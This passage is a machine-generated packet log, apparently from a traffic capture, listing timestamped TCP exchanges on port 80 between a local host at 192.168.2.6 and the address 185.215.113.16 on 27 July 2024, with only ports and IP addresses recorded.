Jul 27, 2024 03:19:23.349829912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349838972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349853992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349863052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349874973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349884987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349898100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349906921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349929094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349937916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349951982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349968910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.349987030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.349994898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350019932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350025892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350047112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350055933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350069046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350079060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350091934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350100994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350114107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350125074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350136995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350146055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350158930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350167990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350181103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350191116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350210905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350219965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350235939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350255013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350265026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350274086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350287914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350305080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350318909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350326061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350337982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350352049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350366116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350379944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350389957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350389957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350402117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350402117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350416899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350429058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350444078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350460052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350475073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350493908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350502014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350502014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350502014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350513935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350522041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350534916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350548029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350563049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350609064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350609064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350626945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350636959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350651979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350670099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350676060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350682974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350697041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350704908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350718975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350737095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350744009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.350753069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.350785971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.400846958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.400882006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.400909901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.400924921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.400940895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.400949955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.400970936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.400979996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.400990009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401005030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401017904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401027918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401048899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401058912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401067972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401082039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401096106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401106119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401127100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401135921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401149988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401158094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401171923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401185036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401196957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401206970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401226997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401237011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401249886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401261091 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401277065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401285887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401299000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401309967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401323080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401334047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401355028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401364088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401377916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401396990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401405096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401413918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401431084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401441097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401456118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401469946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401479006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401488066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401500940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401514053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401524067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401542902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401556015 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401565075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401578903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401592970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401602030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401616096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401622057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401632071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401644945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401654005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401667118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401678085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401690960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401700020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401710987 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.401721954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.401743889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436176062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436204910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436234951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436250925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436270952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436286926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436310053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436323881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436382055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436403036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436417103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436427116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436440945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436450958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436460018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436472893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436490059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436502934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436517000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436527014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436538935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436549902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436562061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436574936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436603069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436614990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436628103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436642885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436651945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436664104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436671972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436682940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436703920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436713934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436727047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436741114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436750889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436764002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436770916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436779976 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436800957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436810970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436822891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436836004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436846018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436856985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436867952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436877012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436888933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436901093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436913013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436923027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436935902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436948061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436959982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.436969042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.436994076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437031984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437064886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437076092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437089920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437104940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437114954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437127113 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437143087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437180996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437195063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437216043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437228918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437237024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437251091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437268972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437275887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437292099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437299013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437309027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437319994 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437330008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437354088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437459946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437474966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437488079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437500000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437520027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437530994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437547922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437561989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437576056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437586069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437597036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437607050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437616110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437639952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437696934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437711954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437726974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437736988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437743902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437761068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437767982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437781096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437796116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437803984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437817097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437828064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437838078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437860966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437868118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437881947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437892914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437905073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437918901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437928915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437953949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437962055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.437974930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.437988997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438013077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438019991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438045025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438051939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438071966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438081026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438093901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438103914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438117981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438127995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438139915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438157082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438163996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438173056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438189030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438195944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438208103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438225031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438231945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438242912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438255072 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438270092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438282967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438290119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438301086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438311100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438323975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438335896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438347101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438355923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438369989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438379049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438391924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438405991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438415051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.438424110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.438448906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488698006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488727093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488746881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488758087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488758087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488790035 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488814116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488828897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488852978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488859892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488869905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488883972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488898039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488907099 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488918066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488930941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488943100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488954067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.488965034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.488990068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489001036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489016056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489029884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489039898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489053965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489059925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489069939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489083052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489094019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489105940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489114046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.489139080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.489145994 CEST	49713	80	192.168.2.6	185.215.113.16
